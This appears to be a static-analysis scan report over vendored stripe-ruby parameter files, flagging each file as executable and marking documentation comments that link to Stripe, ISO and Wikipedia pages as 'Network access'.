# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 555
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 557
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 561
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 588
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a configuration item. Metadata on a configuration item will update the underlying subscription item's `metadata` when the phase is entered, adding new k - Network accessline 594
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 598
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd - Network accessline 635
# A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. The request must be made by a - Network accessline 639
# Can be set to `phase_start` to set the anchor to the start of the phase or `automatic` to automatically change it if needed. Cannot be set to `phase_start` if this phase specifies a trial. For more information, see the billing cycle [docu - Network accessline 645
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 649
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will set the Subscription's [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates), which means they w - Network accessline 663
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to a phase. Metadata on a schedule's phase will update the underlying subscription's `metadata` when the phase is entered, adding new keys and replacing ex - Network accessline 667
# Controls whether the subscription schedule should create [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when transitioning to this phase if there is a difference in billing configuration. It's different from the re - Network accessline 766
# Number of units that meets the billing threshold to advance the subscription to a new billing period (e.g., it takes 10 $5 units to meet a $50 [monetary threshold](https://docs.stripe.com/api/subscriptions/update#update_subscription-billi - Network accessline 801
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 803
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 807
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 840
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 846
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 850
# A list of [Tax Rate](https://docs.stripe.com/api/tax_rates) ids. These Tax Rates will override the [`default_tax_rates`](https://docs.stripe.com/api/subscriptions/create#create_subscription-default_tax_rates) on the Subscription. When upd - Network accessline 879
# For new subscriptions, a future timestamp to anchor the subscription's [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle). This is used to determine the date of the first full invoice, and, for plans with `month` or `yea - Network accessline 893
# Determines how to handle [prorations](https://docs.stripe.com/billing/subscriptions/prorations) when the billing cycle changes (e.g., when switching plans, resetting `billing_cycle_anchor=now`, or starting a trial), or if an item's `quant - Network accessline 950
# The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_finalize_invoice_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_item_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 34
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 36
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 38
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 70
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 86
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 88
# The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used - Network accessline 90
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 98
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 100
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_item_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_item_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_item_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_item_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 34
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 36
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 38
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 78
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 80
# The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used - Network accessline 82
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 88
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 90
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_line_item_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_line_item_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 39
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 43
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 64
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 66
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. - Network accessline 68
# Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. - Network accessline 70
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 105
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 119
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States. - Network accessline 174
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 176
# The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used - Network accessline 178
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 184
# A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates](https://docs.stripe.com/api/invoi
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_list_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_mark_uncollectible_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_pay_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_payment_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_payment_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_remove_lines_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_rendering_template_archive_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_rendering_template_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_rendering_template_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_rendering_template_unarchive_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_search_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_send_invoice_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_update_lines_params.rb
- Executable scriptline 1
Executable file - Network accessline 40
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 44
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 65
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 67
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. - Network accessline 69
# Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. - Network accessline 71
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 106
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 120
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States. - Network accessline 175
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 177
# The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used - Network accessline 179
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 185
# A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates](https://docs.stripe.com/api/invoi - Network accessline 220
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 18
# Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca - Network accessline 127
# Installment configuration for payments attempted on this invoice. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 129
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 131
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 269
# The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default - Network accessline 358
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 360
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 375
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 379
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 417
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 425
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 471
# A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the Stripe-Account header in order to take an application fe - Network accessline 473
# Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. - Network accessline 505
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 509
# The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_void_invoice_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_approve_params.rb
- Executable scriptline 1
Executable file - Network accessline 7
# If the authorization's `pending_request.is_amount_controllable` property is `true`, you may provide this value to control how much to hold for the authorization. Must be positive (use [`decline`](https://docs.stripe.com/api/issuing/author - Network accessline 11
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_capture_params.rb
- Executable scriptline 1
Executable file - Network accessline 159
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 243
# The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 113
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 140
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 298
# The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 300
# Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 306
# The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/ - Network accessline 316
# If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization. - Network accessline 318
# The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 320
# The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_decline_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_expire_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_finalize_amount_params.rb
- Executable scriptline 1
Executable file - Network accessline 101
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 128
# The final authorization amount that will be captured by the merchant. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_increment_params.rb
- Executable scriptline 1
Executable file - Network accessline 9
# The amount to increment the authorization by. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 11
# If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_respond_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_reverse_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/authorization_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 20
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 28
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 107
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 118
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`. - Network accessline 122
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`. - Network accessline 143
# The [Cardholder](https://docs.stripe.com/api#issuing_cardholder_object) object with which the card will be associated. - Network accessline 155
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 169
# Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_deliver_card_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_fail_card_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_return_card_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_ship_card_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_submit_card_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/card_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 20
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 28
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 107
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 118
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`. - Network accessline 122
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`. - Network accessline 147
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 155
# Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/cardholder_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 11
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 19
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 71
# Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program. - Network accessline 96
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 98
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 143
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 154
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`. - Network accessline 158
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`. - Network accessline 193
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 197
# The cardholder's phone number. This will be transformed to [E.164](https://en.wikipedia.org/wiki/E.164) if it is not provided in that format already. This is required for all cardholders who will be creating EU cards. See the [3D Secure d - Network accessline 199
# The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`. # This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time pass - Network accessline 200
# This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time password messages sent to the cardholder. - Network accessline 202
# Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. - Network accessline 206
# One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/cardholder_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/cardholder_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/cardholder_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 11
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 19
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 71
# Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program. - Network accessline 96
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 98
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 143
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 154
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`. - Network accessline 158
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`. - Network accessline 193
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 195
# The cardholder's phone number. This is required for all cardholders who will be creating EU cards. See the [3D Secure documentation](https://docs.stripe.com/issuing/3d-secure) for more details. - Network accessline 197
# The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`. # This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time pass - Network accessline 198
# This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time password messages sent to the cardholder. - Network accessline 200
# Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/dispute_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 9
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 56
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 58
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for. - Network accessline 60
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash. - Network accessline 62
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product. - Network accessline 87
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 99
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 130
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 142
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 169
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 192
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 267
# The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). If not set, defaults to the full transaction amount. - Network accessline 273
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/dispute_list_params.rb
- Executable scriptline 1
Executable file
